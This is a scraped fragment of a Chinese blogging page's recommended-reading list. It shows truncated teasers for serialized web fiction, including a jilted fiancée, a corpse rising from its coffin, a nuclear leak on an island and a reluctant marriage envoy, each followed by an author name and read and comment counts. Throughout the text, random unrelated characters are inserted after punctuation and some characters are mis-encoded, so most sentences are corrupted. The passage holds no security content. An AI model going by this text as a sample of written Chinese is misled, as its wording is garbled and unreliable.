    茶點故事閱讀 37,900評論 3 336
  • 正文 我和宋清朗相戀三年瑰钮,在試婚紗的時候發(fā)現(xiàn)自己被綠了冒滩。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 40,030評論 1 350
  • 序言:一個原本活蹦亂跳的男人離奇死亡浪谴,死狀恐怖开睡,靈堂內(nèi)的尸體忽然破棺而出因苹,到底是詐尸還是另有隱情,我是刑警寧澤篇恒,帶...
    沈念sama閱讀 35,737評論 5 346
  • 正文 年R本政府宣布扶檐,位于F島的核電站,受9級特大地震影響胁艰,放射性物質(zhì)發(fā)生泄漏款筑。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,360評論 3 330
  • 文/蒙蒙 一腾么、第九天 我趴在偏房一處隱蔽的房頂上張望奈梳。 院中可真熱鬧,春花似錦解虱、人聲如沸攘须。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,941評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽阻课。三九已至,卻和暖如春艰匙,著一層夾襖步出監(jiān)牢的瞬間限煞,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,057評論 1 270
  • 我被黑心中介騙來泰國打工员凝, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留署驻,地道東北人。 一個月前我還...
    沈念sama閱讀 48,237評論 3 371
  • 正文 我出身青樓健霹,卻偏偏與公主長得像旺上,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子糖埋,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,976評論 2 355

推薦閱讀更多精彩內(nèi)容